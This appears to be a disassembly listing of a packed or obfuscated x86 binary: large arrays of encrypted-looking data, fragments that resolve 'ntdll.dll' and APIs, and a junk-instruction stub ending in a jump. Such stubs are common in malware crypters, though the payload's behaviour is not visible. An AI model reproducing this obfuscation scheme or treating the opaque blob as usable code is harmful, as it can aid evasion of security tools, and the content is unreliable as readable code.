		dd 6AF8A5F6h, 0F0C8D72Bh, 2321F737h, 9139579Fh,	0AC2A4890h
		dd 0BA129E77h, 0A0DD202h, 564D755Bh, 2592C5Eh, 0E51A0000h
		dd 732D8507h, 0FA8FCD3Bh, 0B5FD32B0h, 0A7FFEF97h, 0DC1DDA19h
		dd 6FFD37EEh, 0F9D95B6Dh, 0C13C2FC0h, 37EEA24Dh, 11BD1D8Dh
		dd 767BD306h, 91DB7023h, 3C92D113h, 5EC8017Bh, 0C90896EEh
		dd 0CE2D2A90h, 961AF778h, 4ADF8E36h, 1408200h, 0CE2D488Dh
		dd 0FA56DCB8h, 65A4328Ah, 0C81DB209h, 63BB929h,	914FA0BEh
		dd 491DCB8Fh, 0F566C616h, 0F9E9911Bh, 0A9D820A1h, 0B1A149CBh
		dd 2742EC51h, 94CC444Ah, 0A6335h, 0DDFD4400h, 7701DB8Ch
		dd 129A7526h, 0AB3710C1h, 47CDA95Ah, 0B25768F6h, 4EFF50D6h
		dd 0EC9DEE70h, 893A8B0Fh, 25D22341h, 0C9E25897h, 4E2437F0h
		dd 3BC59F50h, 74508593h, 0F93846EEh, 31C2BA85h,	9DF555C5h
		dd 118FD96Eh, 0F51B6DD2h, 9F1D8D37h, 0B90A8C6Ah, 9FCA2A08h
		dd 0AA5FDA3h, 3D7FFD5Dh, 0F06F88FEh, 25ACA37h, 0BC069B4Ah
		dd 506FF3Eh, 0E65631DCh, 0D3553368h, 60F3D182h,	2B9FDE86h
		dd 6B3D9C56h, 3F39BFBh,	0D131B592h, 2DC1153h, 65E0D078h
		dd 3D9C5611h, 0B169C131h, 5B3968B0h, 5F6331D9h,	8BDFD52h
		dd 1075D535h, 4A89E908h, 0AD4FAEE6h, 8E000009h,	25D62747h
		dd 0BF70C14Bh, 5A0B5CE4h, 0F3A4F581h, 0B2409117h, 9A20FC19h
		dd 38BA9849h, 0D55936E7h, 6D8BD384h, 0A2E16F1Ch, 37F0CE2Ch
		dd 0AC9A986Eh, 0C2BAC531h, 0DBBED731h, 5291D3D5h, 31C2BAFCh
		dd 0FD51901Eh, 1D31C2BAh, 2DC4DADh, 88E0D078h, 0FC7AC459h
		dd 0EED0C4BDh, 26A41437h, 3D8E16F1h, 0B31A7D7Fh, 7D7F68F4h
		dd 61B919A3h, 0D5539D32h, 0DD2DD296h, 0D5B33431h, 4075F353h
		dd 4737DF63h, 0E42C61EFh, 0F25132E8h, 6ABB1DA1h, 3D70AE8Dh
		dd 47CBA8A5h, 783687E7h, 86DE6A43h, 3A9FBD05h, 4A8593D8h
		dd 16FCE06h, 0E2000009h, 792A7B9Bh, 13C4159Fh, 0AE5FB038h
		dd 47F849D5h, 694E56Bh,	0EE7450F5h, 8C0EEC9Dh, 29AD8A3Bh
		dd 0C1DF27D8h, 0F635C370h, 37F0CE80h, 95EEECC2h, 31C2BA25h
		dd 99EA0850h, 0DD5BA53Ah, 0EF09FD9Eh, 7AB9FB37h, 37EEF504h
		dd 26CE5631h, 126ADA36h, 83B836A6h, 20D122A6h, 0C41BF43h
		dd 9B53AB2Fh, 89B3Ch, 21787A00h, 0C153FF3Ah, 92BD77CFh
		dd 151E805Dh, 0AF792F1Dh, 7D6D1575h, 224AC0FFh,	1C8C31C2h
		dd 0B60095C4h, 4384F938h, 76C437EEh, 8FCEB92Eh,	37EECB3Bh
		dd 0EEADEB5Bh, 0FEA6061Dh, 0D675EEF0h, 7A107EAFh, 62279722h
		dd 233C37EEh, 0DE5C5E64h, 699E7EE2h, 0A389045Ch, 5A5829FEh
		dd 13Eh, 2DC29F1Ch, 3525CD4Fh, 0DD1F2DD5h, 0C2BA289Eh
		dd 0A2FA6A31h, 19C14321h, 0AB2D018h, 62EEC7FCh,	108CCABAh
		dd 8E5308ECh, 0F9D657AFh, 5AF5F775h, 4202E42Ah,	914FB008h
		dd 8A2B8C8Fh, 4E29D9C0h, 0CE2E1EC6h, 9418F576h,	5A943DECh
		dd 2BE19DDCh, 0C13131C2h, 13F60F19h, 8CDD613Eh,	0D27AFEDBh
		dd 2EB28FC4h, 0B159E3BDh, 64DE69C1h, 9831C22Ah,	0EAC7987Fh
		dd 0E8293888h, 1C7C847Eh, 8CCB0DCBh, 31C2EF36h,	87730A58h
		dd 7D567DA9h, 3D96C51Dh, 98F635B3h, 0BA31C2D8h,	0C3A1A24Ah
		dd 613FF041h, 0E72937DFh, 0C2D852A8h, 19F37431h, 97F7E78Fh
		dd 5876BE3Fh, 8A8DA6B0h, 0F775F7D5h, 0EC5DE9C2h, 0F3E38B0Fh
		dd 0AB893A9Bh, 3DD28129h, 153675F3h, 0B537EEBCh, 0B892C745h
		dd 5BE1BD2Eh, 0E2E4A203h, 0D910F86Ch, 0C8A4155Dh, 52AA9A42h
		dd 0C971F3D1h, 0B937B91Ah, 0EED0187Ah, 2AD24237h, 4F000720h
		dd 0ED9EEF71h, 36E58D0Fh, 9AD957A1h, 31C2BAF5h,	0F2488715h
		dd 143D9A3Ah, 42F344A4h, 0D391E264h, 0C93AC49Eh, 8B0C64F0h
		dd 1BD92AAEh, 3A249AD9h, 0F6663D9Ah, 3AC53978h,	95053D9Ah
		dd 5CF1833Dh, 13529412h, 31C2BABFh, 0E6AECCAh, 7F27458Dh
		dd 49D72F8Fh, 3086C507h, 5231C2BAh, 56FF8AE2h, 8637EEDDh
		dd 936D6E16h, 1A898B09h, 0C5FF04B9h, 28880EEAh,	0FD55DBB7h
		dd 5092B29Ch, 0C2BABD11h, 156DDD31h, 1BF552E6h,	99F9E991h
		dd 0BA94E6F1h, 728B31C2h, 51DAC097h, 2C915E56h,	53000000h
		dd 4E2AC59Fh, 0D03020C8h, 0BAA91D28h, 0B2CB31C2h, 9620FAD7h
		dd 0DFF48A45h, 941231C2h, 0A3FB855Fh, 0FFFFB5C4h, 85CD02FFh
		dd 9F550F67h, 928F3957h, 0A4FC805Dh, 5FF1B2ECh,	0D5BF6711h
		dd 0DF7F5D92h, 0C2BA2AA0h, 9CFC6C31h, 31AC04F4h, 6156455Bh
		dd 56F2h, 5FF1B400h, 845E9311h,	210CFB1Ch, 0D535F235h
		dd 5092C37Dh, 11B93F1Bh, 0C83EC921h, 0E831C2BAh, 0BA1367A6h
		dd 0C33331C2h, 0E58FFF6Bh, 411B5092h, 9941CDA6h, 0B1A149A9h
		dd 90929F59h, 0ED2CB0ACh, 31C22299h, 0BD0B49B9h, 60E139A8h
		dd 0F552FC86h, 3141B7h,	0F1530000h, 5193115Fh, 0C2BABC12h
		dd 166EDE31h, 0FF53925Ch, 4731C2BAh, 2492BD67h,	0BD3BC59Fh
		dd 0D77C01BBh, 0C2F62298h, 0B6F46431h, 97EF98B3h, 9FB7F5DDh
		dd 89943CC4h, 31C2BA35h, 667B1E37h, 9016F28Bh, 2124DF30h
		dd 7931C2CAh, 0FFF369AAh, 0C59FBCFFh, 0EA2CEA3Bh, 0C2BA57ABh
		dd 1856231h, 0E9C435A5h, 71C9B961h, 0E563AD42h,	0EEC435A6h
		dd 0A57EB337h, 29817119h, 9AA54DBDh, 37EEB320h,	47EF0D55h
		dd 39E16D46h, 5A06014Ah, 8DFBAD3h, 582A4522h, 0ED9h, 8419B00h
		dd 7F000000h, 41E96D4Ah, 0F13FF951h, 5594125Ch,	37EEC2F4h
		dd 0F126A414h, 80389014h, 0CA1BA57Fh, 0EEB2760Fh, 30B49137h
		dd 19A37DB2h, 0DD438171h, 2AC3B84h, 863798F0h, 0B13914A9h
		dd 0DBD1D351h, 0EAFC41EAh, 0CF438200h, 0F37EE69h, 2A8F479Fh
		dd 5F3A8F69h, 0D021A582h, 9DDBD71Fh, 0BAB6BB96h, 0B4F282E2h
		dd 0C31BA57Fh, 5EDCFA42h, 1FC74D29h, 14BC421Eh,	746C424h
		dd 37EE39B3h, 6B0B63D3h, 32DA5C3Ah, 25CD5731h, 0AD6B14Ah
		dd 0BB94737Ch, 0A2D75573h, 0A4943C5Ah, 3993E726h, 43B337EEh
		dd 0A5F52FEBh, 5ED645BFh, 10576h, 60F13800h, 5D92640Eh
		dd 15A3FB81h, 0C2BA65D6h, 43EDCD31h, 90922492h,	7A527DD2h
		dd 0D3288098h, 68121432h, 0CF1EA4F4h, 9F0AC41Ch, 688F3957h
		dd 0C04C255Ah, 16D02818h, 67115FF1h, 5092D5BFh,	0C2BABD11h
		dd 835CDD31h, 0FF5F4FF7h, 0BACC4281h, 9E0E31C2h, 45F5CB46h
		dd 518C6156h, 4E000000h, 0BD115092h, 0BB31C2BAh, 0C2BA067Ch
		dd 7CD84831h, 0F385B40Ch, 5D92FBA5h, 13A1F983h,	0C2BA7ED4h
		dd 0B230A031h, 741CA07Dh, 92722C84h, 9A909224h,	0B76B7A72h
		dd 943CC29Eh, 6BEC44A4h, 0F55D0791h, 45B5E1E3h,	0A660E57h
		dd 5141F8B2h, 53000000h, 0BD115092h, 0DD31C2BAh, 52E6156Dh
		dd 53925C06h, 31C2BAFFh, 0B4E96747h, 0BCAC54D6h, 3DE5034Bh
		dd 923BF54Dh, 0D1909224h, 628C4F96h, 0D72B6AE8h, 0F731C2EDh
		dd 0D4AE2F87h, 0ECC55E39h, 68C8B860h, 34941CF7h, 0E1E3F58Ah
		dd 81F1484Bh, 6721793Ch, 0FFFEF241h, 909253FFh,	411CCED1h
		dd 44CF7BB9h, 2A72F34Bh, 1456640Ch, 0C23E61D5h,	0E62FBF31h
		dd 11CE98Dh, 0EBF735A5h, 430739F0h, 0D21A9BF3h,	6F0463B4h
		dd 0B368A725h, 0D337EE50h, 5EB0BB63h, 5537EE1Eh, 35775D3Ch
		dd 0EE1E80F6h, 0FA52C237h, 29A9997Fh, 69EAEC58h, 5FE3C079h
		dd 37F31521h, 4A3984EBh, 7AD2323Fh, 4550h, 5CF11200h, 865F9412h
		dd 568452FAh, 9E19B6E2h, 0BB49A101h, 0EEF82B7Ch, 5B037337h
		dd 0EEF0FE50h, 3DDCF537h, 6206E217h, 0EEF0AF23h, 1F7FEF37h
		dd 0CA098777h, 37EEF074h, 53CE2696h, 582A076Dh,	0D724h
		dd 579FE600h, 0BA66DC1Bh, 38A831C2h, 532F30D8h,	0DC2425CDh
		dd 300B40BEh, 560C6AA8h, 5C401E50h, 34B4C04h, 0A1D694E5h
		dd 0A7973FC5h, 3596C44Fh, 0EB3331C2h, 0BCBE7CCDh, 0B3CC0B6Ch
		dd 0EE6FC7BDh, 31E088A6h, 95D4529Ch, 37EEE0E8h,	867B828h
		dd 69AB2973h, 26CEEC34h, 0AC53DE36h, 5031DD2Eh,	0E12062E0h
		dd 3D984E6Dh, 57E53DADh, 6FC04622h, 0ADAFAFB1h,	9912A1EDh
		dd 6F66DC1Bh, 38A83D98h, 0FD835FE0h, 85FBB498h,	0C3225A4Ah
		dd 26Ch, 95E6064Dh, 2F800AE4h, 0CA1BA37Eh, 63B44019h, 0FF50D6B2h
		dd 0E1BD5871h, 7B590A5Bh, 1AF7A8F9h, 4C944596h,	0A230DD2Eh
		dd 0F0C1EF63h, 5B592F37h, 0EC3DC39Fh, 78B7F33Bh, 31C2BA02h
		dd 0F674D444h, 0B961E3C1h, 261071C9h, 94125CF1h, 0EEDECC55h
		dd 5EDC4C37h, 57C84C29h, 5949F10Fh, 393B4901h, 6C6B5151h
		dd 0AD389002h, 37EE705Dh, 5F078B68h, 52FA845Eh,	472BEE87h
		dd 0F5E0A7C0h, 5829880Fh, 0D5C6h, 377FB400h, 24637119h
		dd 37EE6CAEh, 0C82080F0h, 39579F0Eh, 203E86BBh,	330F10C8h
		dd 5CFA05ADh, 6931C2BEh, 50A6E521h, 7231C2BFh, 0EF24A202h
		dd 0D2338B15h, 0D0AAD921h, 4EAE9E46h, 856398A6h, 2D6B5B03h
		dd 0A578995Eh, 0CAF95172h, 2E6DEB35h, 37EEB411h, 0A10051C1h
		dd 544C20Ch, 31DDE601h,	0A92D0A3Fh, 0C3A01101h,	0B7BE73Fh
		dd 187C588Dh, 0D03F8821h, 378ECC34h, 680BD5BAh,	0E41997F7h
		dd 0D8D98109h, 0BD1575FDh, 49CFAB5Ch, 867662E4h, 5649C4Ah
		dd 150h, 79CAEA31h, 1364EEC8h, 0AEFF8762h, 479824FDh, 0E334BA96h
		dd 0C5A14455h, 5F3DEE3Fh, 0FEDB8CDDh, 3078297Ah, 8614C112h
		dd 0F0C6F347h, 3F3D1337h, 0EC3DC39Fh, 981CF92Eh, 5977BF40h
		dd 579F1E08h, 4E839139h, 0A07BEC72h, 28807018h,	0F0415FA7h
		dd 34B2FC91h, 0EED00CF5h, 17F52A37h, 0ED1FED95h, 919C0B8Ah
		dd 3CA80060h, 0D1194ECCh, 69B162B3h, 5FF4A34Bh,	0FB589715h
		dd 0F931D940h, 0B961E9C4h, 0B70571C9h, 0D0655057h, 0A70C6C72h
		dd 4A899C89h, 0B9BE1D55h, 9A000000h, 31E23353h,	0CB7CCD57h
		dd 661768F0h, 0FFB0018Dh, 0BE4C9D23h, 0A62C082Dh, 44C6A455h
		dd 0E16542F3h, 7997DF90h, 0AEED7B28h, 37F0C758h, 0F1A6A47Ah
		dd 5594125Ch, 37F51AFCh, 0F604AC1Ch, 1FA17FB4h,	0B60C8777h
		dd 0D837F0DAh, 4AF27E57h, 21A2FA5Ah, 45D1AAD9h,	0F02FAD9Dh
		dd 37F0DA9Ah, 9BEC4CBCh, 0DC84A2EAh, 0CB994ED1h, 0A762AB30h
		dd 0FD079B9Dh, 0C33AB915h, 26642128h, 3B188011h, 511957B7h
		dd 0AAD66BA9h, 41890A62h, 0D921D223h, 2E083DBBh, 0CE0CFCA4h
		dd 36C65E46h, 34EC4443h, 26CE5A33h, 4B04031Ch, 0E394E503h
		dd 76D57D9Bh, 8, 19377FB4h, 0BDF707C1h,	9038589Fh, 8129478Fh
		dd 771FA380h, 6E169876h, 630B916Dh, 58008662h, 4AF27E57h
		dd 3EE66E49h, 31D9633Dh, 0E6895615h, 4C681h, 0EE830000h
		dd 24348704h, 2404895Ch, 81E68956h, 4C6h, 4EE8300h, 5C243487h
		dd 56240C89h, 0C681E689h, 4, 8704EE83h,	895C2434h, 0EC832404h
		dd 243C8904h, 0B54AE868h, 0EF815F0Fh, 982E8A5h,	685FF989h
		dd 4159h, 81242489h, 42404h, 52580000h,	8BAh, 89C20100h
		dd 24148B0Ah, 4C481h, 34FF0000h, 0C4815824h, 4,	56240C8Bh
		dd 0C681E689h, 4, 4C681h, 34870000h, 33E95C24h,	0E7FFF9FEh
		dd 0A6C600A4h, 0B80B9040h, 6327DE3h, 0C650C503h, 2C21AD85h
		dd 25684706h, 0FFCF3817h, 2C1671B5h, 0C858D06h,	0FF062C3Ah
		dd 8DD88BD0h, 2C167985h, 4685006h, 0FF000001h, 0AD85C6D3h
		dd 53062C21h, 7F8BF68h,	71B5FF83h, 8D062C16h, 2C3A0C85h
		dd 89D0FF06h, 32600D85h, 0A1BD8306h, 62C29h, 0B840Fh, 9D8B0000h
		dd 62C124Dh, 5E9h, 0BB00h, 680000h, 8D000001h, 326011B5h
		dd 0FF535606h, 2C00C195h, 11B58D06h, 3063260h, 1E9F0h
		dd 804E0000h, 840F5C3Eh, 9, 0F2F3E80h, 0FFFFED85h, 6C6FFh
		dd 6011858Dh, 0FF500632h, 32600D95h, 0E0FF5806h, 6060811h
		dd 38F07CB0h, 6B1E0841h, 0AE8h,	0DA9C4C00h, 29BC7D12h
		dd 66C0BC9Eh, 593CC6BBh, 51EC13B8h, 51C1810Eh, 0F500005Eh
		dd 0AE9FF33h, 0BC000000h, 12D16931h, 3FC3E662h,	0F34FFA7h
		dd 665EF18Ah, 0F681D88Bh, 4D3D9ADAh, 0A1F08160h, 66060913h
		dd 8161F28Bh, 9D7EF9EEh, 17810F42h, 60000000h, 0DE8h, 0FBE60A00h
		dd 0A155EE31h, 4E69447Bh, 605F67C3h, 0C6816161h, 2D2E28ACh
		dd 7E856FCh, 5E000000h,	9ADFC48h, 82B87378h, 5B7F512Dh
		dd 6639048Fh, 0EF81C38Bh, 6E10D907h, 81E6DC80h,	10D903C7h
		dd 0FBBA606Eh, 0E91EEC29h, 0Ah,	0E9396BD6h, 0C25243Bh
		dd 81619A35h, 0FFA290FFh, 12850FFFh, 66000000h,	8AEFEA81h
		dd 21E9h, 0D3149000h, 6E77FAAFh, 5AE9FC0Dh, 2DFFFFFFh
		dd 0CE633A61h, 31371244h, 0C739F192h, 30FADEE6h, 8D8D1BCEh
		dd 6328133h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Bh,	0E2C35242h, 0C64A4020h,	8956DBA8h, 2C2BA58Dh, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 0A0417F9Eh, 0B28392BBh, 51BB66AEh, 0D985C7A9h, 2C062C12h
		dd 6A000068h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 3BCCC353h, 0B685E3F9h,	0C185C71Fh
		dd 62C29h, 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 0D9D6C357h, 7F0B6ECh, 4F320050h
		dd 0FF96E080h, 2C2D19B5h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 95FF230Fh
		dd 62C15F5h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 18h,	0D7C35141h, 0C8575F5Fh,	6AC18Bh, 26B195FFh, 0C08B062Ch
		dd 0AD925CEBh, 9BB6B9CFh, 33A11D8Ch, 3B765EA8h,	0D27832EBh
		dd 0ACC74F99h, 411E529Dh, 32A1BAD1h, 33FCC626h,	91DFAB15h
		dd 0A071FDA7h, 0B857CF8Bh, 7F480798h, 1451B5CBh, 2183D7E2h
		dd 57875F4Fh, 35593300h, 0E0E1B1C5h
		dd 27530B03h, 42C7652Eh, 0F1DDC296h, 5B6EFD72h,	10221DBFh
		dd 5E844CAh, 9F000000h,	424665B7h, 8A58F88Bh, 9EC081CBh
		dd 0E8000065h, 13h, 0C0F5E0E3h,	5E060EDBh, 6A35DCC4h, 95F859ECh
		dd 89FC12B3h, 2C11358Dh, 3F685F06h, 89000019h, 2C15219Dh
		dd 0BD895E06h, 62C341Dh, 0CB8B30FFh, 0F19D8B5Ah, 81062C04h
		dd 13DDFEC2h, 2810F33h,	0B5000000h, 1EF281E4h, 0E87EC66Dh
		dd 5, 0E65B8723h, 0F2815FEAh, 7F2F8655h, 8C00EF81h, 108921CAh
		dd 8800Fh, 840F0000h, 2, 0E881DA8Ah, 17388C8Bh,	0C081EF8Ah
		dd 17388C87h, 81CB8B66h, 1EEh, 9D850F00h, 8BFFFFFFh, 298D8DF8h
		dd 6A063283h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 0E37CC356h, 53E41F5Eh,	56392Eh
		dd 705B529h, 8D89062Ch,	62C2BA5h, 21119D89h, 85C7062Ch
		dd 62C12D9h, 6B44h, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 0B9C35343h, 739D3F39h, 6F7F8CBDh, 0C7C28B66h
		dd 2C29C185h, 6, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1B04h, 0C3524200h, 985A8B6Dh, 41560839h
		dd 13659D8Bh, 0BE9062Ch, 0B5000000h, 2459909Eh,	4C4B8793h
		dd 8B60C18Ah, 2C15B195h, 0EE906h, 0EA170000h, 50579785h
		dd 357576B0h, 0F6442289h, 0E1B5FF61h, 3062C08h,	2C01B19Dh
		dd 0F595FF06h, 66062C15h, 8B7CDF81h, 95FF006Ah,	62C26B1h
		dd 7AEBC08Bh, 7BED3E55h, 91F47700h, 0A285C76Eh,	0F8A7A677h
		dd 0B4326F23h, 0B9C348CBh, 1A7B6F82h, 99003DD1h, 0DEC3B78Dh
		dd 15B0850Dh, 0D6A5CC6Ah, 3BE9396Bh, 350C2524h,	215CBA9Ah
		dd 588A4D72h, 523FC86Eh, 460024F8h, 13BA3BF7h, 7FE1B68Fh
		dd 0C25946AAh, 3DD62F36h, 69A28FBFh, 0FE69946Ch, 3A747h
		dd 9974702Fh, 0F4B48549h, 66A873Ch, 6ECF2C72h, 69BAC995h
		dd 30A3DD54h, 0BE83531h, 61000000h, 2DDBF59Dh, 0C6E4244Ch
		dd 958BB112h, 62C1929h,	58C0F59h, 0BA000000h, 47887129h
		dd 5EF0C181h, 0FE80000h, 39000000h, 0C05297EAh,	9ACB9E5Eh
		dd 0C8FC970h, 5260D7E7h, 61D88B5Bh, 0FFC02B5Eh,	0E8520834h
		dd 0Bh,	10254001h, 1F14ECB7h, 52AE6D1Ah, 5B5A5A5Eh, 541BD8Bh
		dd 0EB81062Ch, 2B599EEDh, 12D18529h, 0F381062Ch, 2A62DB3Bh
		dd 249D958Bh, 0F381062Ch, 0DA8F2F8h, 14E9h, 0BB806600h
		dd 758B56B2h, 0D18EEE28h, 530E1EC9h, 0C8C5B238h, 840F53DCh
		dd 5, 6936A6BAh, 1048F74h, 0CE9F88Bh, 0C7000000h, 33C13124h
		dd 605E4AC8h, 8363B1D7h, 0B52304E8h, 62C016Dh, 0A204F881h
		dd 850FFFFFh, 0Fh, 25E9F5h, 3DB90000h, 8359B9F8h, 89A42D83h
		dd 2C163D95h, 0FF59E906h, 93F1FFFFh, 19EB38C2h,	765565E4h
		dd 3097D800h, 0E9CA9AE5h, 3Bh, 5A359A7Bh, 0E61D8C93h, 2E81E89Dh
		dd 6C64746Eh, 6C642E6Ch, 1467006Ch, 8003B2BDh, 0FEB9h
		dd 6 dup(0)
		dd 0E9000000h, 626h, 32863768h,	0F7B8E906h, 0B868FFF9h
		dd 0E9063286h, 0FFF9F7AEh, 32874E68h, 0F7A4E906h, 1C68FFF9h
		dd 0E9063288h, 0FFF9F79Ah, 3288EB68h, 0F790E906h, 9B68FFF9h
		dd 0E9063289h, 0FFF9F786h, 0C1123279h, 5BAC3610h, 0F647CFAAh
		dd 8FE06C45h, 2B7C02DEh, 0DE90C9Dh, 0A7853687h,	4623D425h
		dd 78C071C2h, 0CE5C095Ah, 0F03F3B8Fh, 87855B37h, 3A99092h
		dd 2ECFF067h, 7F1536F7h, 0C31B7BCAh, 37E4h, 0A1E02200h
		dd 31C2252Dh, 0EBA5FD6Dh, 9139579Fh, 0AC2A4890h, 0BC149C77h
		dd 0BA2EA05Bh, 194E31C2h, 0E061B93Bh, 0E3ACA103h, 1F90DBD2h
		dd 0A03F41BFh, 0F08AFE01h, 0E5CF3088h, 94125CF1h, 0EEC29055h
		dd 15EF7037h, 93F3E38Bh, 0B26EE0EBh, 6C8537EEh,	49D4BAADh
		dd 0D98B582Ah, 4D000001h, 196A43Bh, 0FDFA39B7h,	1D37EEDCh
		dd 0B5F601ADh, 12F3DD40h, 76B5337Dh, 0FDB40871h, 432B4391h
		dd 0A0515C91h, 0A56FE322h, 3FAFE144h, 0F42937DFh, 1C3A8217h
		dd 0CC2414BCh, 40BE089Dh, 745F9501h, 2261A3E7h,	0E7771FACh
		dd 0BA267EEEh, 4F97CC4Ah, 0D7B1B331h, 1107F540h, 7C3A9BF3h
		dd 3BE36D47h, 2A72F34Bh, 0FA5CA70Ch, 6CA414E0h,	4390Dh
		dd 1216800h, 9B25FFB0h,	36BE994Ah, 0CF5B34E5h, 6BF1CD7Eh
		dd 0D6738C1Ah, 722374FAh, 10C11294h, 0AD5EAF33h, 49F64765h
		dd 3C067CBBh, 724837F0h, 39579F74h, 34DE291h, 0CCDD4685h
		dd 0CD3D37EEh, 4A78677Ch, 0AEED6BB5h, 31C2CE21h, 0AAB561D1h
		dd 0C638473Fh, 0BF3D871Ch, 1B2E7B80h, 832B9B93h, 0BE43FD4h
		dd 62A11F7Fh, 9CD3B4F4h, 338B626h, 9B4C9DBBh, 2DD03553h
		dd 0C3EF7D3Bh, 3B82C8Bh, 0A0E70000h, 0A47E2F80h, 3D18C91Ah
		dd 0DAB364B5h, 704CFD4Eh, 0F20B99EAh, 0A4F57B57h, 429315F3h
		dd 0DF30B491h, 77C8E62Eh, 89FD3CCAh, 0C937F03Ch, 579FF5F3h
		dd 4E839139h, 3846EE70h, 0C2BA85F9h, 0F555C531h, 0BAC23877h
		dd 940431C2h, 2E780D3Ch, 0CFE071B0h, 0A81837EEh, 1963F857h
		dd 4624599Bh, 0B12C1CC4h, 37EEAF5Dh, 27B50D7Dh,	0D92ADCE8h
		dd 14920231h, 287997DFh, 25002F77h, 0A505F59Dh,	6FB94EFDh
		dd 428DB2F1h, 0BD2D3BB0h, 0B6799F58h, 0AA094150h, 322h
		dd 99EA0A51h, 33840EE8h, 0CE1FA782h, 67B8441Dh,	354DAB6h
		dd 0E5C16475h, 7F5D0E5Fh, 1EFBACFDh, 5098499Ah,	0A634E132h
		dd 0F03D1367h, 5F5D3337h, 0BB39579Fh, 0BAC43A79h, 960631C2h
		dd 42D7863Eh, 0FA3B7AF8h, 2237EEDEh, 0A95261B2h, 64000001h
		dd 16ABA93Bh, 0C20F4ECCh, 3237EEDCh, 310F44C2h,	98FC5291h
		dd 0AE1E37EEh, 2C3AF64Eh, 0EE961AF7h, 631BA6FEh, 0E820D393h
		dd 981AF853h, 2FA3E2F0h, 6FCAABA0h, 0C13F9FFFh,	0A0CA407Fh
		dd 0ABEACAABh, 0CAABA057h, 3BAB0777h, 691655E3h, 0A9CC87DBh
		dd 4DE29139h, 9850A6E5h, 2723057h, 872FB591h, 7AB93797h
		dd 3667621Ch, 1B50CE3Eh, 0B364B5D3h, 39E84D6Bh,	0C745F069h
		dd 254308Fh, 3C830000h,	401ACB1Ch, 0D9B465B6h, 764F0051h
		dd 0CE899EAh, 16A73586h, 409117F3h, 0DE2FB18Fh,	7BCC502Dh
		dd 136482CAh, 2599D866h, 6537F032h, 579F918Fh, 0BA66DC1Bh
		dd 38A831C2h, 0D9185AD8h, 31C2BA65h, 25DD35A5h,	1997E176h
		dd 0F4CED5D7h, 0DEAD6058h, 0D1AAFB86h, 82F237EEh, 8BC71C31h
		dd 3BBD9BF6h, 0C543A393h, 0C2F34986h, 8D39A931h, 0FCF23382h
		dd 0C913A8CCh, 0FBD4094Bh, 51F9855Eh, 1EA90161h, 0ACD4FB61h
		dd 0CD5530B1h, 0DFBAEF6Dh, 67BFAF57h, 106B00AFh, 1202AAC8h
		dd 99F534B2h, 0B9969402h, 0B95EA36Bh, 6ACADAD2h, 516FB7ECh
		dd 0FE004200h, 0E33D0BDFh, 2EA41F72h, 709657E7h, 0DF27A800h
		dd 1EBF5CC1h, 0F931E5C1h, 1859Ah, 4D6DB400h, 0E7714BFCh
		dd 820AE596h, 1BA78031h, 0B73D19CAh, 22C7D866h,	0BE6FC046h
		dd 5C0D5EE0h, 0F9AAFB7Fh, 954293B1h, 3272C807h,	0BE9437F0h
		dd 7F5D92C0h, 0D6555FDh, 0A826448Ch, 68109873h,	7BFD619Ah
		dd 32927066h, 0DE7322DAh, 9ED71694h, 7E37EE97h,	0CAFFBD0Eh
		dd 571169EDh, 94125CF1h, 0F53FA555h, 77F56537h,	8BDCFA42h
		dd 0CC7492DAh, 0C03E881Dh, 0C7BA7B81h, 0B533A331h, 0C91A3880h
		dd 34B2D018h, 0BAD59232h, 58B0646Ah, 125CF1A0h,	0BF135294h
		dd 0DF3DA716h, 9A24FE6Fh, 0D075B442h, 0F03B8B63h, 82FA1B80h
		dd 0AEE650BDh, 0D54Fh, 9DBD0400h, 37C19B4Ch, 0D25A35E6h
		dd 6BF7D081h, 78D691Ah,	729728B6h, 0EBF1096h, 0AC5DAE30h
		dd 49FA4BCFh, 0E592E301h, 33A21857h, 0EE437F0h,	825D9210h
		dd 0DC8410E9h, 0E3E48CECh, 0E6D67E0Ah, 6AFF2E86h, 9563A220h
		dd 8937F53Fh, 61637119h, 8812E6h, 4180FE28h, 37F05ACDh
		dd 0C4459D0Dh, 0EA724D7Ch, 4088398Ah, 51903611h, 37F05AFDh
		dd 0A54DAD1Dh, 7555E7D7h, 0D333EDC7h, 58008662h, 55600868h
		dd 8BFB143Fh, 0DBF493DCh, 73247593h, 8D8F0D2Bh,	30B09D76h
		dd 3EF64E0Ah, 9B1DFB30h, 5DE9C243h, 1759ABB5h, 0FB7862D8h
		dd 0DC34A453h, 87CF8087h, 1F671869h, 94B5901h, 0FB7874CAh
		dd 1FA58153h, 1CE075C3h, 2AB2F03Eh, 39372CAh, 0A5000000h
		dd 589FBDF7h, 478F9038h, 0A3808129h, 9876771Fh,	916D6E16h
		dd 8662630Bh, 7E575800h, 6E494AF2h, 633D3EE6h, 561531D9h
		dd 0C6815E54h, 4, 8704EE83h, 535C2434h,	0C381E389h, 4
		dd 4EB81h, 1C870000h, 34895C24h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	ebp
		mov	ebp, 6328526h
		mov	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		push	2F92h
		mov	[esp], esi
		pop	dword ptr [ebp+8]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_5017CA
; ---------------------------------------------------------------------------
		db 3Bh,	0C1h, 15h
		dd 0AE667501h, 95B808E5h, 306328Ah, 56E0FFC5h, 25186993h
		dd 56663C5Eh, 2423A5DEh, 0D61F675Fh, 545DCEF3h,	2042D7AFh
		dd 27FCC95h, 42384D9Bh,	0E850C9BDh, 0Fh, 0F966C6C0h, 384B03A0h
